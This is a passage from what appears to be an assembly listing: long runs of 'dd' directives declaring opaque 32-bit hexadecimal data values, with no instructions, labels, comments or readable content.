0AA2E12E5h, 58D3256Fh, 0AE13DFE5h, 0B8B0B0B7h dd 8D2D01D4h, 2B54909h, 0EA53882Eh, 0F600D976h, 0B68DDE43h dd 99880F50h, 0C1BB01A6h, 5402B8D1h, 0C0A39BFDh, 0D3D5E9EBh dd 0D990171Eh, 0B28CEE60h, 1F79208Dh, 0ABC7BB7h, 81EBA9B5h dd 0F1BD2B61h, 90F67B2Ch, 0A580DCF4h, 0D5D92104h, 0BB806E03h dd 5AE995B3h, 897EE3B2h, 0D6C10B57h, 495CDEFAh, 3271108Ah dd 0D2B5291Dh, 5D482104h, 0D88B0126h, 0DA0A753Ah, 0E8B28142h dd 72ADAB7Fh, 203770AFh, 727CB867h, 0C7719A00h, 316313EEh dd 96D60E46h, 4F3807Eh, 0B16A5FFh, 8088D15Fh, 1BD26BBh dd 4F17974Dh, 923015F5h, 2E4D0C2h, 0AA2B60A2h, 0D7757Ah dd 5DABC35Fh, 81DA9D6Fh, 0D5B50909h, 79945714h, 20CB297h dd 0D733218Bh, 1C91B237h, 0F5287280h, 7CBFCF78h, 0FF6A09D4h dd 0B2801B37h, 13E01170h, 2560B88Dh, 22F30439h, 14FFF0D3h dd 2A3E4A0h, 80F6EC19h, 137445F3h, 0BF64F7CEh, 198C82FFh dd 94BFB004h, 3F80AB18h, 80103D95h, 799571E4h, 51F64929h dd 800C7869h, 952639F8h, 67B419ECh, 0C8A33540h, 3470E5Ah dd 5C220260h, 48770FA9h, 8616F92Bh, 17813AA0h, 250C5E82h dd 0B670654h, 0B11B5F2h, 0E4940ED7h, 66201E65h, 3217BEBFh dd 888886E9h, 5D9A2EC3h, 4E490EA1h, 0EB504405h, 41AC89D5h dd 0A971280h, 0E4FC7D6Bh, 22F18F36h, 5A9572F2h, 229BE31Eh dd 47BF0410h, 0BC67650Dh, 8D3181E9h, 8A6B26F5h, 36872894h dd 0E2B488ECh, 0E4BCD864h, 54AF2988h, 16CD08CBh, 1311BD9Eh dd 8422E24Ah, 162424DDh, 0B9538473h, 6B058EE9h, 0E6FFCD2Ch dd 0CE9538C2h, 5B589B0Ah, 2E4E5AF8h, 0A5230E07h, 33A0EF83h dd 8105019Dh, 2F10D1B9h, 0F400A67Ah, 308F3DE6h, 7127688Dh dd 1E3EC425h, 0D42C6585h, 35349C96h, 2894AB73h, 0B9B832BDh dd 0E77FD400h, 30B393D0h, 50C800A1h, 0A65EEB81h, 5B2F1E64h dd 8E4CF9FCh, 2D288D29h, 0E1367C25h, 0EDC02BDAh, 517448Dh dd 0AE2AF18Eh, 20BE4B65h, 0EFD13CC8h, 0F5D98109h, 3B18FDFFh dd 290C3B1Ch, 0F0475D53h, 2B1A4531h, 1CC8059Fh, 7A6E1AC0h dd 9DA70571h, 0E98CE7ABh, 3DF5B921h, 7A0AA57Bh, 0D81338F6h dd 0AAD3BC1Ah, 8A9E912h, 0BD623DD1h, 374FFD21h, 3D24A41h dd 8A13EF20h, 820085D1h, 0F4F5AC3Fh, 313A391Fh, 0BD5E5187h dd 35C47989h, 0D9743005h, 0CBAB43A2h, 0CC1AB2ABh, 117A0061h dd 9580BCAh, 0DF38817Dh, 0DEBAB929h, 0FAE4B6B6h, 0B0914FD4h dd 282F107Ch, 0BDBF7ECDh, 19788951h, 3361CF98h, 0C4B6E801h dd 0EEE48CF4h, 0B94A4D68h, 1639E84Ch, 0B9374A93h, 0C19AD2E0h dd 8D01FD80h, 1312672Fh, 9EBE1FFh, 8E5E0452h, 2DD8E773h dd 4F12B4D6h, 0E88E0F2h, 5E317BA8h, 8B3F084Eh, 0C3BD282Fh dd 4DDE6AE9h, 0D5F8C39Dh, 0EC94EA5Ch, 0D791266h, 8091DFABh dd 298239F2h, 7AD21BDh, 3377C9A5h, 90EF8110h, 3C494A11h dd 12EAEC9Fh, 0B529BC18h, 16A80BADh, 0D7D5750Eh, 0BC5E0CCCh dd 34192785h, 400DC13h, 310F56B7h, 6B5AD88Bh, 20590C58h dd 0AC41D300h, 28B8E717h, 4DD36F08h, 5F30D5A7h, 0B9605030h dd 9182830Ch, 31F31A41h, 0E56E9061h, 88E72E01h, 0D7710AE0h dd 41478800h, 37BF9ED8h, 0E360EF3h, 0AC2268F9h, 7C6EA7Bh dd 7A9A400h, 9D37EEC3h, 0E10600FBh, 0EB9C8B2Fh, 0BD13018Dh dd 0B9FC4B82h, 40DFB4D4h, 316DAFFCh, 56129CA8h, 0F7B05B4Dh dd 0A3571697h, 0E1AAF615h, 342BE222h, 0CE1B80C6h, 0B4BCBF3h dd 132EA4CDh, 9204EAFBh, 9EAE0203h, 0CA058587h, 0F51A09FFh dd 0F6735Ch, 4E88E805h, 0B31FBDECh, 9233713Ah, 0D9AB2C09h dd 0FE923A7h, 89D50C45h, 9CC37A88h, 0A804F411h, 91FB8687h dd 2EA809EAh, 1E97A5Eh, 89582625h, 809751F2h, 0DF4BF381h dd 0B1936E8Ah, 0D6C425h, 0E80BBA83h, 0D993365Eh, 0B6330701h dd 54412BADh, 498162Fh, 90EB91Bh, 0EA216350h, 8ECD5534h dd 48C055E9h, 0FE25659Fh, 0F66BE22Bh, 3500F6ACh, 72F01BC0h dd 4A61D3E6h, 0B557ECA0h, 0BF02ACE8h, 521CCECh, 0B5E2DC44h dd 4523724Eh, 0D95DF0ABh, 0E7440399h, 0A6AFEF5Fh, 558D7790h dd 5361CE1Ch, 0AC5B584Eh, 4B51918Bh, 0DAFDC860h, 1C584800h dd 5BC4D8B7h, 0DCEF01BEh, 5F6174F6h, 0ECF37A8Bh, 0E311C500h dd 0AFD8A8DDh, 0DC5CA97Dh, 0C9085C26h, 9BEA55FAh, 2D407A54h dd 4A1827h, 9954358Eh, 572E8969h, 906F9106h, 123CDA40h dd 45585FDEh, 0AFD552ABh, 0B59D6560h, 3353891Fh, 0F3360221h dd 7DD33D62h, 0AF015E6Eh, 533F4F01h, 0CB395B9Bh, 12BE6E4Fh dd 4F06FEB1h, 4E988972h, 0F3BADD0Eh, 7B5A0DDAh, 14EBC6C2h dd 5A865E1Fh, 0DE793961h, 6B741CD7h, 675E272Eh, 80C82DDCh dd 81007179h, 360666CFh, 9D291D0Fh, 0ADDDA119h, 144AF3F8h dd 9DA197E7h, 3B60C6DCh, 0D2A05535h, 799D26A9h, 5DE6C639h dd 0C54F237Dh, 18567ACh, 0CDD53C13h, 60D4EF97h, 0D5D89E2Dh dd 0C741BC0Ch, 95C1EE3Eh, 10B57914h, 66C436h, 0ADEB7C1Fh dd 59BDAECEh, 0C7874F12h, 905856F3h, 34C12077h, 17FEF948h dd 7BBEF1B5h, 0EE212578h, 1C4D9F1Bh, 4CFCE845h, 1803085Ah dd 4A60960Dh, 0C22B7100h, 9EDA00E0h, 69DE476Fh, 9A099250h dd 0DC5E5911h, 0D046AF67h, 4754CB0Eh, 0DE811F2Dh, 830F965Bh dd 806DF23Eh, 0AED9F8DDh, 0BD9F3856h, 0B7B1FF28h, 0DE60706Fh dd 3948E4C6h, 0A05EB5B2h, 0E5950884h, 0D6A4ACF3h, 1C0E5100h dd 0A22D29ADh, 0E2FC564Fh, 48616C67h, 974CD82Dh, 40E80319h dd 39E9B77Ah, 2AFC8F02h, 0D950C736h, 3BEF008Eh, 0B59AFEF2h dd 0FCD08A00h, 0FA2CAF95h, 0D6832656h, 57B2599h, 71095B24h dd 58965711h, 0AF19A921h, 0F900FBB7h, 22BB1079h, 0E6B508CEh dd 203FAD5Ch, 50B972Bh, 0FD407E56h, 738149h, 4D5212E1h dd 74FF946Ah, 7C204E00h, 37F8DB9Ah, 22A0D3F7h, 4E575F1Eh dd 12CD256Dh, 69DB9557h, 5C5C9A75h, 0A1BB6748h, 0D4292518h dd 6A392232h, 457F6231h, 91F84507h, 0A1860E12h, 13ED2046h dd 0AFC768h, 3BE0694Eh, 22589EADh, 0E34BD5Fh, 0F899704h dd 7C7321BBh, 0BCA614EEh, 0FFDDF8E0h, 4EC8075Ch, 8AC47FADh dd 0FF75AFD9h, 86A0E1B6h, 770B345Fh, 253F960h, 0B17EDAFh dd 0CF595B09h, 10565444h, 96809F09h, 0C4C383BFh, 1D30A4Eh dd 0C856948Dh, 5A009BEBh, 52662108h, 9D943B79h, 3ADA0E8Dh dd 9B0E13h, 80728B85h, 0EF9756B5h, 95291E05h, 0ED280331h dd 0D79AA2F5h, 381F1F3Ah, 71F5F389h, 1AC1004Dh, 0CCFBAFFh dd 0F14EA705h, 3C24B41Dh dd 0B7CB0BB8h, 512D9278h, 0C4ED7119h, 71F8492Dh, 0E38089E5h dd 0F3DC7989h, 9364AF4h, 3DD7D8CAh, 801D91C6h, 6DECDE80h dd 147703A0h, 36CD478h, 2D21DE20h, 0A1707DE9h, 0A7795A9Bh dd 259D7F0h, 0F1B738Fh, 387F1089h, 7D837BAh, 0DA0CF444h dd 83427922h, 1D4A1AF2h, 9A2BCCB1h, 0C714C8DFh, 6461CEEDh dd 22441C82h, 90312574h, 934792h, 838EB0D8h, 5579A4CEh dd 0A7ED9204h, 0D9EB5209h, 80DA6E21h, 5C2EEC81h, 0BBF7FCD5h dd 79C54018h, 95FD8A4Ah, 3D295E89h, 1CE83D55h, 9D788079h dd 8A71D186h, 7D6282B7h, 47A19001h, 4B2D761Fh, 9FFDFD51h dd 120DF148h, 89E9E05Fh, 2515BD26h, 78FB8B8Bh, 0B0D94BFEh dd 0BF0FF9F3h, 6F89DDFFh, 0C9AAD261h, 0EDBCA704h, 33B0C0A5h dd 2B75B609h, 3FDB6A5Ah, 0CD304FC0h, 3B0CFD01h, 9E986EE8h dd 0FA224AADh, 168A9B9Bh, 0F57B4130h, 0A9549B69h, 12DAB3F3h dd 0F2044510h, 15F9D716h, 66015AA8h, 0F9DE70BBh, 0E27DD1FFh dd 949780B8h, 419B450Dh, 10E39F3h, 0D95B026Ah, 0EA394AC0h dd 0C0025297h, 0F696CCBBh, 0AB81D717h, 63505569h, 19B100C7h dd 0F385CE32h, 0FD8C00FBh, 918B5298h, 6B127DBBh, 10ED4E9Eh dd 68B002BCh, 16975170h, 0DF4DB5F8h, 9A84C540h, 7A20E753h dd 0E94B0EBBh, 0EF6B7601h, 51710A5Eh, 0C72BAD25h, 0DA5E09D4h dd 31AC4E9h, 8839180Ch, 5F82AA69h, 50DFAD48h, 0BD0923B6h dd 4B7A7123h, 1A0035C4h, 0F1BF5FF7h, 0EFF123Ch, 0CBD5D162h dd 1557B129h, 0C1C7655Bh, 2E18E523h, 0A92DA92Dh, 5465DCA8h dd 4EAB6AE0h, 8A86609Bh, 0F9092701h, 0AB698509h, 2682DFF4h dd 3DDD22A9h, 305D00B3h, 40211A2Bh, 2758500h, 86B3E381h dd 0AD734833h, 0E6B7A712h, 9107369Ch, 813D77FCh, 0C67FC2B0h dd 9C8295E8h, 81202D8Dh, 7C521F3h, 71E41867h, 0BE7F61BFh dd 0A6492E5Ah, 0E06D5EDCh, 1BB2BE73h, 0C8209A03h, 0B155B151h dd 0E170715Ah, 0F595158Bh, 5B258514h, 0B656BCC2h, 219D0140h dd 0C3EA9527h, 4200FE57h, 0D25C2BF9h, 0DC227113h, 1C46D1h dd 0DE69B4A8h, 431D261Bh, 10414F00h, 0E96CBD13h, 0FE27D787h dd 0BB57CC33h, 0BD0D7080h, 5A56BA8Bh, 8FE35017h, 6B0C64Ah dd 86DD2BE1h, 6580386Ch, 983655A5h, 773F81EAh, 904C253Fh dd 82292D25h, 0DA498661h, 8251AB5Ch, 0EAA44C38h, 222B2A9Dh dd 81201EAFh, 7CF992DBh, 0A7309740h, 68A39589h, 3710C12h dd 1253CAABh, 6FAA2C9Dh, 0D80809A3h, 0DED1546Ah, 0FA2E2200h dd 8984A2E0h, 48700033h, 4711EB81h, 0AC905E2Bh, 9D29895h dd 0D1961B5h, 0C20F9EB9h, 8878387Bh, 950297F8h, 0CB7F8D01h dd 159BBDF7h, 837EEBC3h, 0EB774597h, 2CDDFDC1h, 50BD1C04h dd 2B61092Ah, 0C9664DC0h, 1C2018FFh, 12F7627Ah, 6DE88595h dd 978D22Bh, 7329692Dh, 0FC8A6290h, 5A881260h, 0F74C2997h dd 0CE80A4B7h, 23DC6A45h, 0A9C013B3h, 70E1BCCBh, 5652039Eh dd 24FB4B4Fh, 0B82ECE71h, 19BBC244h, 22E5D52Fh, 0C3AB54DAh dd 38839690h, 0C33175B7h, 0BE382F7Ah, 118ACB5Bh, 0BB047C22h dd 1B4F5987h, 0E66FF0E5h, 0A107F050h, 8A061275h, 80ADF8FEh dd 0EA1419FBh, 0AC820064h, 570C5FCEh, 9A02F7EFh, 8188C184h dd 1CECD5BCh, 9784C77Eh, 0B3076435h, 0D6426FDAh, 93045F69h dd 3C0B122Ch, 3EAB0259h, 510F5CFCh, 0DC68A5E1h, 0E8F8DE9Ah dd 58B55171h, 2D949528h, 65A5AEB4h, 648A1F25h, 0F795F669h dd 0D4DC0C3Ah, 60991C05h, 2AAC65D4h, 0C9852904h, 9DE3BA12h dd 3CF07543h, 0C564035Ah, 2EB9FA5Ch, 425D735h, 1F235DA8h dd 57BC8813h, 0B824C9C4h, 56A6B52Eh, 0A89146A0h, 4B0DFC02h dd 5462B752h, 24044290h, 823A2271h, 0C25D8436h, 51575412h dd 0C0A83C6Ah, 0D25A0556h, 2C80FCB3h, 257E752Ch, 68037E71h dd 0F5A79B1Fh, 2B0498C2h, 20953558h, 7768E0D6h, 0D7C3A07Fh dd 319E5F91h, 2BF98AABh, 4AFCBA33h, 0E907A462h, 5B022038h dd 82C0489Bh, 73924BCDh, 0AEBFC800h, 606FFE5Ch, 40E1B829h dd 73ED2B18h, 24B95EEEh, 1F8937ADh, 0CFDDD5B0h, 7EA1CE81h dd 0ED7F9F79h, 0CF584C7h, 0DBD6D9ADh, 4BC09D24h, 0BA893D10h dd 0DA3C4A29h, 0C114C8F2h, 299531D7h, 0EE944AAFh, 0C5E973E9h dd 77E73A84h, 39D7B8A0h, 9783D3Ch, 5C9FEA71h, 889C2ACh dd 0F3815120h, 0DBFF1880h, 446584Dh, 2778999Bh, 60BB095Eh dd 0A209E64Ah, 4C0021F9h, 3B587D56h, 0FC421C65h, 5A2EC4EFh dd 8C75C196h, 8129AA02h, 0FEDAC2A9h, 188044B5h, 595365B2h dd 952F9A15h, 81FC5198h, 0AD4BCF00h, 4F687578h, 0D04D32F3h dd 0BF48D92Ah, 0D12710B0h, 4038F82Fh, 9D178912h, 2DAF32ADh dd 0B0B82666h, 349469h, 0B588356Ah, 0FABFDA70h, 4250EE02h dd 0F5FB8B90h, 0B35ADC42h, 2DD93EF9h, 477108A5h, 579014B2h dd 14919635h, 8D290D80h, 0ED9231E1h, 0C0579295h, 0F30A44h dd 0C62914F6h, 47BAC7CDh, 8D62A30Fh, 0C3F13712h, 0B444B82Ah dd 0E69A504h, 2CE319ACh, 10A6244Eh, 3855BFF0h, 4F525400h dd 3EB2F386h, 0B712A0E9h, 0EC9D957Dh, 29E94072h, 0C49C9513h dd 1F047320h, 29ACBB66h, 46262A3h, 0A70BCE5Bh, 2F5DF346h dd 1664CCEDh, 0A6FF3660h, 0E9B75009h, 0D6075C5Fh, 9F251C46h dd 2C45007Dh, 90AC6127h, 19112D16h, 0FC838873h, 5A08800Fh dd 0D1CFA03Fh, 555B02FBh, 1591E0B5h, 7C7D9B86h, 0B0227920h dd 0DDF96975h, 504B5366h, 4200AAA2h, 0F78E9C40h, 38FB5B73h dd 0B43680CCh, 99242Fh, 0F43D9DD9h, 9B258D47h, 3E84D54Ah dd 8548DBBEh, 0C1BECB8Ah, 52E41DDh, 21119681h, 0C3D2AC7Dh dd 1B2F497Fh, 55DB5C5Bh, 0E582A03h, 4D7180A5h, 0FBE74A07h dd 0D6641F24h, 0F80C7BCh, 2290E1C1h, 0DFB64517h, 0D5A02CBEh dd 0EAB7175Bh, 75E56DA0h, 0F05F6204h, 0CFAC7BF6h, 0C5959E5Eh dd 0FECC10CEh, 0AA342554h, 1E4BE67Fh, 569C6D30h, 5B69B74Eh dd 2C804EDAh, 0F951C0CBh, 9DB12900h, 7CCEBFC5h, 8C89E0Fh dd 0C2970479h, 0D309D2BCh, 0FD586DDDh, 0CE922h, 0F3C49353h dd 5C951388h, 8CE5AA05h, 80BC2907h, 4AE88B4Ah, 6E8048DAh dd 0BE23F9FBh, 3429E21Ch, 0D88BA685h, 0F8F998EBh, 0B76A612Dh dd 0C82D9256h, 3F00D7FDh, 22E4506Bh, 0E0EB51h, 0CEFB25ADh dd 2B42DAACh, 7CEA4C24h, 0F6595CA7h, 82CC283Eh, 0AADF3BEFh dd 5937F31Bh, 2560181Bh, 0EA57F7D8h, 809AFD3Fh, 64800B55h dd 0ABDC001Fh, 0CFA0D524h, 9D04BF12h, 5B225539h, 8A4B04AEh dd 42E2AFF8h, 0A7F7B941h, 2AAEDE45h, 4A3A829Fh, 695B5CA8h dd 0C45F711Ah, 8A404B25h, 9F4B223Ch, 60E3761h, 0B2AED3B3h dd 1D690193h, 5F8249BCh, 3E1C8FCh, 0DEBF6659h, 0D7275B4Ch dd 0DCEDD496h, 0C5D66700h, 0A9B7B614h, 19D1303h, 2B87290Dh dd 1DC13034h, 12591F6Dh, 605AC6A5h, 5A425BB5h, 505F7F3h dd 77F88B60h, 0F704DD94h, 0B861F458h, 7F73A230h, 278088BDh dd 0C5758679h, 0C24A4FF1h, 165712F9h, 58399B3Ch, 0BC27BED5h dd 0FC694357h, 0BAC65B05h, 0FF25347Ah, 60B376C5h, 0E904C451h dd 5851B8D0h, 25792F8Bh, 6EBEC11Ch, 0AB1C093Ah, 8F3772E4h dd 0C0365EAh, 899199AEh, 0C7C119ECh, 0EEB26090h, 4CD3CA20h dd 0D93DDE61h, 12306EDEh, 8FA86D06h, 0E1BD33C2h, 7C20CA7Fh dd 0DF2EDE83h, 0DC23B5A1h, 0A1402CD1h, 952D2E7Bh, 527A18F3h dd 251DB01Dh, 1FD70225h dd 0BB0AF94h, 56017683h, 70B07A77h, 2C309C0Fh, 0C9CB50C7h dd 71BB1C52h, 5A16CF85h, 0DBB0BEA2h, 1ECECF8Ah, 0B29E7EC7h dd 0F690573Ch, 0CC4EE0E0h, 25720149h, 4B24910Ah, 775ECCBBh dd 7AF74D4Fh, 18CF86A0h, 74E46201h, 84F8B25Dh, 309C122Fh dd 718D8949h, 5427D6BEh, 1846D6D2h, 0AD92545Ch, 0CA1CAD8Ah dd 6D0900E8h, 852AF1Bh, 7BE943A9h, 5BCBA7E3h, 0D90CA4D7h dd 4503206Dh, 6A741792h, 4BDC26BEh, 0CCA6D80Ah, 0D7811A00h dd 110B1D72h, 0CCD3B790h, 32ECD500h, 1AC1283h, 27D7E63Eh dd 495D1A2h, 30AFBFD4h, 0D2B06008h, 5B1B5262h, 0AC6E7561h dd 0C40E2921h, 0BFAA8585h, 1B09A96Fh, 100962DCh, 24566B89h dd 1846F6h, 971C384Dh, 0ACF8164h, 36AABB1h, 498F2E93h dd 0CA667Fh, 376F0E22h, 3315EBE4h, 0E335905Ah, 5CC0BBEh dd 9D771C57h, 0FB00C4B5h, 35D1C242h, 8A6012CDh, 148788C1h dd 8395C800h, 42FA809Fh, 721398Bh, 172661A4h, 0AD6BC451h dd 0D46089ADh, 158840BFh, 6F01F232h, 847FBB2Bh, 0F56B5194h dd 0A0342B40h, 0CD89A987h, 275C23Ah, 5983045Fh, 4B8A65E0h dd 316298DAh, 9C2AF989h, 9417529h, 0BC44B46Ah, 70E6E213h dd 44D119F0h, 7105E411h, 24F9BD0Bh, 430CCEBh, 35665BD3h dd 10352528h, 311D1073h, 20C6A6A3h, 0DF925A5h, 0BF61215Ch dd 132EA7EBh, 39900C5Eh, 0C84A2B87h, 5208C8EBh, 18978BEEh dd 6CE9D143h, 0B93A11BBh, 25801840h, 53C0CBEBh, 49024755h dd 4F9EE381h, 9DE781B5h, 252E26F9h, 81BB9359h, 0D10C1562h dd 0B961041Fh, 80298867h, 9D035360h, 28CF150Dh, 0F6B7E059h dd 9572E961h, 280B4FBh, 1FE3CBCDh, 8E884BD3h, 71CD4AFDh dd 0BBCE243Fh, 0FBA0E9BDh, 2C3E37A7h, 0DD4E262h, 0B85F0407h dd 94344F7Eh, 552B70EBh, 17043396h, 0DE930DD4h, 74AB67C4h dd 458CAD31h, 0BFC27AA1h, 508C5C23h, 181ACA8h, 2ED1E13Ah dd 0EF8110ECh, 0F48BEC1Bh, 73953339h, 0DB22B02Fh, 0B9182CB5h dd 0B7AB0FA0h, 380B97FEh, 0DC9AD6h, 0BF99A46Eh, 795C49E7h dd 7432FC48h, 0C02B9B17h, 7B80119Bh, 39EA62Ch, 18BA6925h dd 9524FD40h, 0FBEBB35Bh, 36C850B6h, 14795520h, 0E19483D7h dd 44C2FB25h, 9F41754h, 0D42F64DDh, 0F1D5F704h, 11A63AF4h dd 0CE3114B2h, 7F66202Ah, 0DAF8A367h, 0BA2A7804h, 9D845F4Ch dd 0FF2564B3h, 507A73C6h, 0C9E978EFh, 5A57715Fh, 0A6DE8904h dd 8031E02Ah, 8A274B5Ch, 4B713850h, 548996DEh, 0EF5A718Bh dd 71DAECC9h, 52102770h, 0AD07BD5Ah, 91D96520h, 3208802Eh dd 4CEEB47h, 1C1EA7DCh, 0C5E2BADDh, 0A864F993h, 13F7D8Dh dd 17D2F689h, 619548BDh, 45282BF7h, 0F7044AB5h, 5A16A0C1h dd 87E001C5h, 0C878688Eh, 0E865EC81h, 0C5477E25h, 6F991A4Dh dd 305A382h, 0EF120964h, 58E2E271h, 18044B84h, 9724C225h dd 12A83755h, 49F2AEC6h, 0DEBAA04Ah, 95572797h, 0F9740714h dd 0C33A81Dh, 72A8573Fh, 10F119E0h, 97C040BBh, 1BF5F23h dd 529BEE85h, 0DBEB22C1h, 0E849CE0Bh, 248B6B26h, 0E446A4Fh dd 0C17E4880h, 0D7664C67h, 5D6F9141h, 23A06B2Eh, 0E3EC1215h dd 0D7102592h, 0BB5D9A48h, 154AB901h, 0AF4668FCh, 0BAD5007Fh dd 63C40C16h, 1F9E1CA8h, 41092400h, 0E185A48Ah, 87CC046Ch dd 0EBE8207Ah, 8BC53724h, 6ADD49BAh, 9DE1B5Eh, 1ACF3866h dd 979AE455h, 4452C0FEh, 90810E81h, 1E202082h, 500F8747h dd 0E256522Dh, 6D46DD92h, 55585A27h, 0AF52BA11h, 0C0A29AF2h dd 6439BDh, 10E098CBh, 0AD053BB8h, 0D0712EE8h, 615B021Ch dd 0DA38B96h, 415F3900h, 0B7FBCC80h, 1AA4F101h, 0C49BAE44h dd 922DEB2Bh, 5BD6E2Fh, 7A4EEEE8h, 0D2AF9AEBh, 7C3526D8h dd 26BC0960h, 35D7F88Bh, 95169134h, 0D78002F0h, 7EAFE923h dd 4F942EAh, 46D38100h, 377F2551h, 0BB1347E6h, 0C113143Ah dd 7A9BCDAAh, 0FD2D2CE6h, 4700C89h, 60366F95h, 59ABDF65h dd 0AAD83D13h, 0D5E51617h, 0AA6BB82Ah, 0BF225207h, 0F39AD05Ah dd 232DF86h, 5F89E566h, 8AE0E9EDh, 467B89Ch, 8BCF8F02h dd 0C83BDBFCh, 0BFF8C215h, 501D275Eh, 0D2996942h, 317D543Ch dd 2EA5A7B4h, 7BAECC13h, 0EB1A0041h, 0F88C28B3h, 0F95301CEh dd 6E215F68h, 2D33613Eh, 7AE25A07h, 66F9C401h, 3ABA397Ah dd 1A018E4h, 33E7122h, 2E116DBDh, 8250F272h, 912D9E5h dd 0DE4D5172h, 3BB64B4Ch, 0D7AC01E0h, 5E92F595h, 0D5407F7Eh dd 9EF2F45h, 0CDEE79FFh, 92EFC92Bh, 25977360h, 5B39095Dh dd 94C42A60h, 7E6B9D05h, 64FF8903h, 0B5BB8039h, 71952705h dd 12C4EB99h, 8D24102h, 5CBE3229h, 2B56514Ch, 79B084F7h dd 2D141860h, 10C325DBh, 0E91A03F1h, 0CD772645h, 0B873E4DBh dd 1FB88094h, 9EBA35Eh, 0F352109Ah, 25D71979h, 59D3AF09h dd 282FA471h, 4706A32h, 791A73BFh, 22F82E03h, 0A888AA4Bh dd 6CCE09BBh, 0D160AC4h, 7AAF324Ah, 98CC054Ah, 0E1F3422Bh dd 3A04813Eh, 0AC123E6Fh, 9524209Eh, 56D4235Ch, 0E9009818h dd 3222E5Ah, 0C9749529h, 827A3A97h, 5D082D98h, 0B549F771h dd 5CF282C7h, 0D7E00EF9h, 0F242270h, 0E649DA8Dh, 12FD95AAh dd 923AF09Ch, 0BF8B8CB2h, 5C99C2h, 29907769h, 4100F427h dd 16C87F4Fh, 959DD9Ah, 0EF5E332Fh, 23FBD482h, 2E09C5D5h dd 0BD00D443h, 0DBE919C6h, 16741861h, 0F6870F56h, 4944B43h dd 263DDD05h, 57D970ABh, 9A09FABBh, 185F04A4h, 13B4BE0h dd 400760AEh, 387301EBh, 70F5C983h, 774D979Dh, 0FD10FFC9h dd 0E8253E56h, 0CB3D152h, 2F4EA747h, 99747000h, 0F4B48549h dd 6A87003Ch, 0CF2C7206h, 4ABD9D29h, 0B98257BEh, 0ABCD2050h dd 421D0AE2h, 0A44C5FD5h, 59175B9Dh, 58A1819h, 3FC86E58h dd 59AC3052h, 0DC07DFC0h, 0A99E8C06h, 96F370C9h, 4748F6AAh dd 61A6C03Eh, 3BFA897Dh, 25013E81h, 0FDB28027h, 498C2B2Eh dd 0E1BD2223h, 196A5B26h, 8DA10BF4h, 0BB026B4Fh, 70926E1h dd 0DD093D56h, 0A6C08F15h, 0DB6259h, 31727DE0h, 0CB812EC7h dd 0FF2589E8h, 642BED60h, 0EA6C6115h, 2FBB36Bh, 4427A5BFh dd 2CE2D763h, 80B7B7DDh, 6071FAD9h, 0F497B523h, 7261134Fh dd 2A818B23h, 2B21E780h, 9876749Dh, 492886A0h, 0DE97060Bh dd 2E2998F9h, 0A85099Fh, 3B7981F1h, 7BBE5C45h, 0F1700064h dd 23D0170Fh, 0E65B2587h, 6D2A0B78h, 0DABEA13Dh, 7F7D03DCh dd 2657CDD6h, 189567C0h, 906CB981h, 1A2DEB82h, 7D7A4C5Eh dd 3A019244h, 496C0CA6h, 0B93A1252h, 20B184B9h, 0E570F6AAh dd 4903A1E6h, 359D2101h, 0A24ABC9Ch, 95336C4Ch, 494A30DDh dd 31BA9725h, 0AB091960h, 1263469Dh, 0C2219D2Bh, 3DDFC683h dd 0E42E0178h, 0DC170830h, 654BA233h, 0F74A23CBh, 0A7113165h dd 132F29E9h, 0E04AA629h, 880BE81Ch, 0E4002779h, 0E09C52DBh dd 2FBC9634h, 12905618h, 37015724h, 0E2C54C5Ch, 0D6D0085Eh dd 0EC5204CBh, 0FACA55E1h, 1EE5884h, 8B0884BFh, 0E79B2FC1h dd 0F81A3081h, 0E10C0BAh, 0EA81F01Bh, 7D80B521h, 4F958914h dd 7F2DF939h, 4F1960F3h, 0A72D3D3Ch, 69C4FB50h, 58065551h dd 511AC22Bh, 0BC84A4F0h, 0BF5A4D38h, 809DDCACh, 33C50B7h dd 3A7681D0h, 84194565h, 0D82D58F4h, 0D9E90AACh, 8B894CDCh dd 0DDCC82C8h, 4003012Bh, 0E24FBB3Ch, 704A5C2h, 12589F8Bh dd 5802CE5h, 0FCF9A4F8h dd 0D103330Ch, 0F578F120h, 12C408F6h, 640218F5h, 6D81058Fh dd 6C04C483h, 8B5184E8h, 8110F580h, 14B051A9h, 3359B582h dd 9841C3C0h, 4C66DA11h, 0BA2E2445h, 0D268BA30h, 0D49A25A7h dd 20EA6DDDh, 8208D0FEh, 8BA7C77Eh, 5EE56ED3h, 81D5003Eh dd 38045AE3h, 89F57E1Fh, 0BF2472AEh, 152C01F6h, 74B3F74Eh dd 6A807C12h, 211A39Fh, 0C74B727h, 2021A03Fh, 139F5FE4h dd 0A2A780F2h, 0D26B0151h, 0E6FF763Ah, 8CEFC806h, 1B041127h dd 0FB314E1Fh, 4B12266Eh, 9D73FC34h, 5B5C7400h, 4F28165h dd 142B4F28h, 0F49AEA58h, 7CC414C8h, 0DCD9AEC3h, 75F325h dd 0F4EBC08Bh, 1319FD8h, 0DD726174h, 0FCB1BB3Eh, 3F00BE4Fh dd 0B45EC7E9h, 3A88F83Bh, 3101D45Ah, 0F4A7F1B2h, 5584E4EDh dd 0BC52B619h, 2184EB08h, 0C0F4AF18h, 0E4BFD577h, 0BA969001h dd 59FFE63Fh, 83825191h, 0CFEBF4A1h, 40E7C4E8h, 1EF4A912h dd 1BE979DFh, 48D98E37h, 20019BF3h, 92AA455Ah, 6898FEF9h dd 7D98217Eh, 18A36E36h, 0F8D10D28h, 0E308A11Ah, 696294A0h dd 4A7960F1h, 0EA484C00h, 0FCFD33C9h, 422001E2h, 2A0730B7h dd 0FA508FD3h, 0E0699B75h, 80ECAA27h, 7071852h, 0BCAF0887h dd 8CF4AEC2h, 40362874h, 38005CFCh, 7013461Ch, 1B02299h dd 7E0AB654h, 0F8A68AABh, 0B9002D82h, 0C1654571h, 729DBAh dd 0EFFD254Eh, 0C0314DEAh, 0CA164100h, 0BC0C7673h, 426000A7h dd 3E486E12h, 3100B33Bh, 7A53DBFDh, 4B3F88h, 0F3C04E85h dd 0B9255466h, 86786CF8h, 0B2F99800h, 0D109F119h, 72520CEBh dd 2020CDC8h, 0FAD2BC03h, 0E839378Bh, 18C07862h, 82A657FBh dd 9119C746h, 5D326C53h, 231AFCh, 76E2B5F7h, 0BB3A2694h dd 704C1B36h, 8EC10C0Eh, 208148D3h, 0D05079DCh, 0F3114101h dd 8FCC51F9h, 61EDDF10h, 6B82958Fh, 93185082h, 84002080h dd 0BC6D2h, 67AF6ABCh, 0DA7751BFh, 72B50A00h, 83F1DDE6h dd 0D7ED00B1h, 2F01A8DEh, 1E00C01Fh, 9E8D3AB6h, 3C604E9Ah dd 953BF9F7h, 61074D05h, 